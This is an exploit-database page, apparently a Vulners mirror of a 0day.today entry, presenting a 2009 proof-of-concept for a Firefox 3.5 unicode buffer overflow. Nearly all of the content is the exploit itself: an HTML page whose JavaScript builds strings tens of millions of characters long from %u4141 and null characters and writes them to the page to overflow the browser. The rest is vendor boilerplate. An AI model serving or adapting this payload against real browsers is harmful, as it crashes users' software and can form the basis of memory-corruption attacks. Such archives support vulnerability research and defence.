Lucene search
K

Mozilla Firefox 3.5 unicode Remote Buffer Overflow PoC

🗓️ 15 Jul 2009 00:00:00Reported by Andrew HaynesType 
zdt
 zdt
🔗 0day.today👁 48 Views

Mozilla Firefox 3.5 unicode Remote Buffer Overflow PoC by Andrew Haynes and Simon Berry-Byrn

Code
======================================================
Mozilla Firefox 3.5 unicode Remote Buffer Overflow PoC
======================================================


------------------------------------------->
Firefox 3.5 unicode stack overflow

Andrew Haynes , Simon Berry-Byrne

------------------------------------------->


<html>
<head>
<script language="JavaScript" type="Text/Javascript">
	var str = unescape("%u4141%u4141");
	var str2 = unescape("%u0000%u0000");
	var finalstr2 = mul8(str2, 49000000);
	var finalstr = mul8(str,   21000000);


document.write(finalstr2); 
document.write(finalstr); 

function mul8 (str, num) {
	var	i = Math.ceil(Math.log(num) / Math.LN2),
		res = str;
	do {
		res += res;
	} while (0 < --i);
	return res.slice(0, str.length * num);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>



#  0day.today [2018-04-14]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation